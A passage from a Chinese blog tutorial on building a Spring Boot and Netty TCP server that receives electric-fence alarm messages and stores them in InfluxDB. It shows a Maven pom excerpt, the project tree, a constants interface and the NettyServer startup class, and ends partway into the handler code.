class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-configuration-processor<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">optional</span>&gt;</span>true<span class="tag">&lt;/<span class="name">optional</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.allbs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>allbs-influx<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">version</span>&gt;</span>$&#123;allbs-influx.version&#125;<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.influxdb<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>influxdb-java<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">version</span>&gt;</span>$&#123;influx.version&#125;<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>io.netty<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>netty-all<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">version</span>&gt;</span>$&#123;netty.version&#125;<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.fasterxml.jackson.core<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>jackson-core<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.fasterxml.jackson.core<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>jackson-annotations<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-json<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">dependencies</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">dependencyManagement</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">dependencies</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-parent<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">version</span>&gt;</span>$&#123;spring-boot.version&#125;<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">type</span>&gt;</span>pom<span class="tag">&lt;/<span class="name">type</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">scope</span>&gt;</span>import<span class="tag">&lt;/<span class="name">scope</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">dependencies</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">dependencyManagement</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">profiles</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">profile</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">id</span>&gt;</span>dev<span class="tag">&lt;/<span class="name">id</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">properties</span>&gt;</span></span><br><span class="line">                <span class="comment">&lt;!-- 环境标识，需要与配置文件的名称相对应 --&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">profiles.active</span>&gt;</span>dev<span class="tag">&lt;/<span class="name">profiles.active</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">properties</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">activation</span>&gt;</span></span><br><span class="line">                <span class="comment">&lt;!-- 默认环境 --&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">activeByDefault</span>&gt;</span>true<span class="tag">&lt;/<span class="name">activeByDefault</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">activation</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">profile</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">profile</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">id</span>&gt;</span>prod<span class="tag">&lt;/<span class="name">id</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">properties</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">profiles.active</span>&gt;</span>prod<span class="tag">&lt;/<span class="name">profiles.active</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">properties</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">profile</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">profiles</span>&gt;</span></span><br><span class="line"></span><br><span class="line">    <span class="tag">&lt;<span class="name">build</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">finalName</span>&gt;</span>$&#123;project.name&#125;-$&#123;project.version&#125;<span class="tag">&lt;/<span class="name">finalName</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">resources</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">resource</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">directory</span>&gt;</span>src/main/resources<span class="tag">&lt;/<span class="name">directory</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">filtering</span>&gt;</span>true<span class="tag">&lt;/<span class="name">filtering</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">includes</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;<span class="name">include</span>&gt;</span>**/*<span class="tag">&lt;/<span class="name">include</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;/<span class="name">includes</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">resource</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">resources</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">pluginManagement</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">plugins</span>&gt;</span></span><br><span class="line">                <span class="comment">&lt;!--spring boot 默认插件--&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">plugin</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-maven-plugin<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;<span class="name">version</span>&gt;</span>$&#123;spring-boot.version&#125;<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;<span class="name">configuration</span>&gt;</span></span><br><span class="line">                        <span class="tag">&lt;<span class="name">executable</span>&gt;</span>true<span class="tag">&lt;/<span class="name">executable</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;/<span class="name">configuration</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;<span class="name">executions</span>&gt;</span></span><br><span class="line">                        <span class="tag">&lt;<span class="name">execution</span>&gt;</span></span><br><span class="line">                            <span class="tag">&lt;<span class="name">goals</span>&gt;</span></span><br><span class="line">                                <span class="tag">&lt;<span class="name">goal</span>&gt;</span>repackage<span class="tag">&lt;/<span class="name">goal</span>&gt;</span></span><br><span class="line">                            <span class="tag">&lt;/<span class="name">goals</span>&gt;</span></span><br><span class="line">                        <span class="tag">&lt;/<span class="name">execution</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;/<span class="name">executions</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;/<span class="name">plugin</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">plugins</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">pluginManagement</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">plugins</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">plugin</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-maven-plugin<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">configuration</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;<span class="name">excludes</span>&gt;</span></span><br><span class="line">                        <span class="tag">&lt;<span class="name">exclude</span>&gt;</span></span><br><span class="line">                            <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.projectlombok<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">                            <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>lombok<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">                        <span class="tag">&lt;/<span class="name">exclude</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;/<span class="name">excludes</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;/<span class="name">configuration</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">plugin</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;<span class="name">plugin</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.apache.maven.plugins<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>maven-compiler-plugin<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">version</span>&gt;</span>$&#123;maven.compiler.version&#125;<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;<span class="name">configuration</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;<span class="name">target</span>&gt;</span>$&#123;maven.compiler.target&#125;<span class="tag">&lt;/<span class="name">target</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;<span class="name">source</span>&gt;</span>$&#123;maven.compiler.source&#125;<span class="tag">&lt;/<span class="name">source</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;<span class="name">encoding</span>&gt;</span>UTF-8<span class="tag">&lt;/<span class="name">encoding</span>&gt;</span></span><br><span class="line">                    <span class="tag">&lt;<span class="name">skip</span>&gt;</span>true<span class="tag">&lt;/<span class="name">skip</span>&gt;</span></span><br><span class="line">                <span class="tag">&lt;/<span class="name">configuration</span>&gt;</span></span><br><span class="line">            <span class="tag">&lt;/<span class="name">plugin</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;/<span class="name">plugins</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">build</span>&gt;</span></span><br><span class="line"></span><br><span class="line"><span class="tag">&lt;/<span class="name">project</span>&gt;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>其中<code>allbs-influx</code>这个包是我自己封装的处理influxDb存和取操作的，如果没有需要可以去除，包括下面的<code>influxdb-java</code></p><h3 id="项目结构如下">项目结构如下</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line">pc-electric-fence</span><br><span class="line">├── src</span><br><span class="line">│   ├── main</span><br><span class="line">│   │   ├── java</span><br><span class="line">│   │   │   └── com</span><br><span class="line">│   │   │       └── lyc</span><br><span class="line">│   │   │           └── pcelectricfence</span><br><span class="line">│   │   │               ├── constant</span><br><span class="line">│   │   │               │   └── CommonConstant.java</span><br><span class="line">│   │   │               ├── enums</span><br><span class="line">│   │   │               │   ├── CommunicationMode.java</span><br><span class="line">│   │   │               │   ├── ControlType.java</span><br><span class="line">│   │   │               │   ├── DeviceEnum.java</span><br><span class="line">│   │   │               │   ├── DeviceType.java</span><br><span class="line">│   │   │               │   ├── EventType.java</span><br><span class="line">│   │   │               │   ├── OutputControlType.java</span><br><span class="line">│   │   │               │   ├── OutputPointType.java</span><br><span class="line">│   │   │               │   └── ResponseType.java</span><br><span class="line">│   │   │               ├── netty</span><br><span class="line">│   │   │               │   ├── NettyServer.java</span><br><span class="line">│   │   │               │   ├── NettyServerHandlerInitializer.java</span><br><span class="line">│   │   │               │   └── ProtocolHandler.java</span><br><span class="line">│   │   │               ├── properties</span><br><span class="line">│   │   │               │   └── NettyServerProperties.java</span><br><span class="line">│   │   │               ├── utils</span><br><span class="line">│   │   │               │   └── CommandParserUtil.java</span><br><span class="line">│   │   │               └── PcElectricFenceApplication.java</span><br><span class="line">│   │   └── resources</span><br><span class="line">│   │       ├── application-dev.yml</span><br><span class="line">│   │       ├── application-prod.yml</span><br><span class="line">│   │       ├── application.yml</span><br><span class="line">│   │       └── logback-spring.xml</span><br><span class="line">│   └── test</span><br><span class="line">│       └── java</span><br><span class="line">│           └── com</span><br><span class="line">│               └── lyc</span><br><span class="line">│                   └── pcelectricfence</span><br><span class="line">│                       └── PcElectricFenceApplicationTests.java</span><br><span class="line">├── README.md</span><br><span class="line">├── pom.xml</span><br><span class="line">└── 协议.md</span><br></pre></td></tr></table></figure><h3 id="文件内容一览">文件内容一览</h3><h4 id="CommonConstant">CommonConstant</h4><p>一个常量定义，只有influxdb需要储存的表名和日期格式化</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">public interface CommonConstant &#123;</span><br><span class="line"></span><br><span class="line">    /**</span><br><span class="line">     * 电子围栏数据表</span><br><span class="line">     */</span><br><span class="line">    String INFLUXDB_DATABASE_MEASUREMENT = &quot;cl_electronic_patrol_alarm&quot;;</span><br><span class="line"></span><br><span class="line">    /**</span><br><span class="line">     * 时间格式</span><br><span class="line">     */</span><br><span class="line">    String NORM_DATETIME_PATTERN = &quot;yyyy-MM-dd HH:mm:ss&quot;;</span><br><span class="line"></span><br><span class="line">    /**</span><br><span class="line">     * 报警信息中的时间格式</span><br><span class="line">     */</span><br><span class="line">    String ALARM_DATETIME_PATTERN = &quot;yyyy年MM月dd日HH时mm分&quot;;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h4 id="所有的枚举">所有的枚举</h4><p>这个没有什么好说的就是根据报文协议抽出来的东西,下面就不列了，有需要的可以到文末的源码上去看</p><h4 id="NettyServer">NettyServer</h4><p>主要是用来启动项目时启动server监听指定端口，还有就是编码器和解码器加上接收数据处理的handler，详细代码为如下，基本每行都有注解，就不一一阐述了。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br></pre></td><td class="code"><pre><span class="line">package com.lyc.pcelectricfence.netty;</span><br><span class="line"></span><br><span class="line">import com.lyc.pcelectricfence.properties.NettyServerProperties;</span><br><span class="line">import io.netty.bootstrap.ServerBootstrap;</span><br><span class="line">import io.netty.channel.*;</span><br><span class="line">import io.netty.channel.nio.NioEventLoopGroup;</span><br><span class="line">import io.netty.channel.socket.SocketChannel;</span><br><span class="line">import io.netty.channel.socket.nio.NioServerSocketChannel;</span><br><span class="line">import io.netty.handler.codec.string.StringDecoder;</span><br><span class="line">import io.netty.handler.codec.string.StringEncoder;</span><br><span class="line">import io.netty.handler.timeout.ReadTimeoutHandler;</span><br><span class="line">import lombok.extern.slf4j.Slf4j;</span><br><span class="line">import org.springframework.stereotype.Component;</span><br><span class="line"></span><br><span class="line">import javax.annotation.PostConstruct;</span><br><span class="line">import javax.annotation.PreDestroy;</span><br><span class="line">import javax.annotation.Resource;</span><br><span class="line">import java.net.InetSocketAddress;</span><br><span class="line">import java.util.concurrent.TimeUnit;</span><br><span class="line"></span><br><span class="line">/**</span><br><span class="line"> * 类 NettyServer</span><br><span class="line"> *</span><br><span class="line"> * @author ChenQi</span><br><span class="line"> * @date 2024/6/20</span><br><span class="line"> */</span><br><span class="line">@Slf4j</span><br><span class="line">@Component</span><br><span class="line">public class NettyServer &#123;</span><br><span class="line"></span><br><span class="line">    @Resource</span><br><span class="line">    private NettyServerProperties nettyServerProperties;</span><br><span class="line"></span><br><span class="line">    /**</span><br><span class="line">     * 心跳超时时间</span><br><span class="line">     */</span><br><span class="line">    private static final Integer READ_TIMEOUT_SECONDS = 3 * 60;</span><br><span class="line"></span><br><span class="line">    /**</span><br><span class="line">     * boss 线程组，用于服务端接受客户端的连接</span><br><span class="line">     */</span><br><span class="line">    private final EventLoopGroup bossGroup = new NioEventLoopGroup();</span><br><span class="line">    /**</span><br><span class="line">     * worker 线程组，用于服务端接受客户端的数据读写</span><br><span class="line">     */</span><br><span class="line">    private final EventLoopGroup workerGroup = new NioEventLoopGroup();</span><br><span class="line"></span><br><span class="line">    @Resource</span><br><span class="line">    private ProtocolHandler protocolHandler;</span><br><span class="line"></span><br><span class="line">    /**</span><br><span class="line">     * Netty Server Channel</span><br><span class="line">     */</span><br><span class="line">    private Channel channel;</span><br><span class="line"></span><br><span class="line">    /**</span><br><span class="line">     * 启动 Netty Server</span><br><span class="line">     */</span><br><span class="line">    @PostConstruct</span><br><span class="line">    public void start() throws InterruptedException &#123;</span><br><span class="line">        // 创建 ServerBootstrap 对象，用于 Netty Server 启动</span><br><span class="line">        ServerBootstrap serverBootstrap = new ServerBootstrap();</span><br><span class="line">        // 作为分隔符的数据包,防止粘包，虽然报文说是回车分隔，实际上没有，所以未使用,下面的代码注释掉同理</span><br><span class="line">//        ByteBuf delimiter = Unpooled.copiedBuffer(&quot;\r\n&quot;.getBytes());</span><br><span class="line">        serverBootstrap.group(bossGroup, workerGroup)</span><br><span class="line">                // 指定 Channel 为服务端 NioServerSocketChannel</span><br><span class="line">                .channel(NioServerSocketChannel.class)</span><br><span class="line">                // 端口</span><br><span class="line">                .localAddress(new InetSocketAddress(nettyServerProperties.getPort()))</span><br><span class="line">                // 服务端接收队列的大小</span><br><span class="line">                .option(ChannelOption.SO_BACKLOG, 1024)</span><br><span class="line">                // TCP Keepalive 机制，实现 TCP 层级的心跳保活功能</span><br><span class="line">                .childOption(ChannelOption.SO_KEEPALIVE, true)</span><br><span class="line">                // 允许较小的数据包的发送，降低延迟</span><br><span class="line">                .childOption(ChannelOption.TCP_NODELAY, true)</span><br><span class="line">                .childHandler(new ChannelInitializer&lt;SocketChannel&gt;() &#123;</span><br><span class="line">                    @Override</span><br><span class="line">                    protected void initChannel(SocketChannel ch) &#123;</span><br><span class="line">                        // 空闲检测</span><br><span class="line">                        ch.pipeline().addLast(new ReadTimeoutHandler(READ_TIMEOUT_SECONDS, TimeUnit.SECONDS));</span><br><span class="line">//                        ch.pipeline().addLast(new DelimiterBasedFrameDecoder(16 * 1024, false, delimiter));</span><br><span class="line">                        // 解码器，因为客户端发送的是字符串所以直接用String即可，如果是其他的需要对应的解码</span><br><span class="line">                        ch.pipeline().addLast(new StringDecoder());</span><br><span class="line">                        // 跟编码器同理</span><br><span class="line">                        ch.pipeline().addLast(new StringEncoder());</span><br><span class="line">                        // 添加连接事件处理</span><br><span class="line">                        ch.pipeline().addLast(new ChannelInboundHandlerAdapter() &#123;</span><br><span class="line">                            @Override</span><br><span class="line">                            public void channelActive(ChannelHandlerContext ctx) throws Exception &#123;</span><br><span class="line">                                log.info(&quot;&#123;&#125;远程客户端连接！&quot;, ctx.channel().remoteAddress());</span><br><span class="line">                                super.channelActive(ctx);</span><br><span class="line">                            &#125;</span><br><span class="line">                        &#125;);</span><br><span class="line">                        // 处理收到报文的方法</span><br><span class="line">                        ch.pipeline().addLast(protocolHandler);</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;);</span><br><span class="line"></span><br><span class="line">        // 绑定端口，并同步等待成功，即启动服务端</span><br><span class="line">        ChannelFuture future = serverBootstrap.bind().sync();</span><br><span class="line">        if (future.isSuccess()) &#123;</span><br><span class="line">            channel = future.channel();</span><br><span class="line">            log.info(&quot;netty服务端已启动,启动端口为&#123;&#125;&quot;, nettyServerProperties.getPort());</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    @PreDestroy</span><br><span class="line">    public void stop() &#123;</span><br><span class="line">        log.info(&quot;&#123;&#125; 服务主动断开连接!&quot;, channel.localAddress());</span><br><span class="line">        // 关闭 Netty Server</span><br><span class="line">        if (channel != null) &#123;</span><br><span class="line">            channel.close();</span><br><span class="line">        &#125;</span><br><span class="line">        // 优雅关闭两个 EventLoopGroup 对象</span><br><span class="line">        bossGroup.shutdownGracefully();</span><br><span class="line">        workerGroup.shutdownGracefully();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h4 id="最后是处理的handler">最后是处理的handler</h4><p>这个类中包含的东西不多，只是集成<code>SimpleChannelInboundHandler</code>并重写<code>channelRead0</code>，<code>exceptionCaught</code>。一个是用来处理报文的方法，一个是用来监听异常的方法，其他代码都是根据报文内容定制。</p><p>唯一需要注意的就是注解<code>@ChannelHandler.Sharable</code>这个注解的作用是标识一个 <code>ChannelHandler</code> 实例可以在多个<code>ChannelPipeline</code> 中共享使用。通常，<code>ChannelHandler</code> 实例是不可共享的，因为它们在处理不同的连接时可能会维护一些特定于连接的状态信息。而 <code>@ChannelHandler.Sharable</code> 的存在则表示这个 <code>ChannelHandler</code> 实例是无状态的，或者其状态对于多个连接是安全的，可以共享使用。简单点说就是为了让你这个服务端能够被多个客户端连上。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span 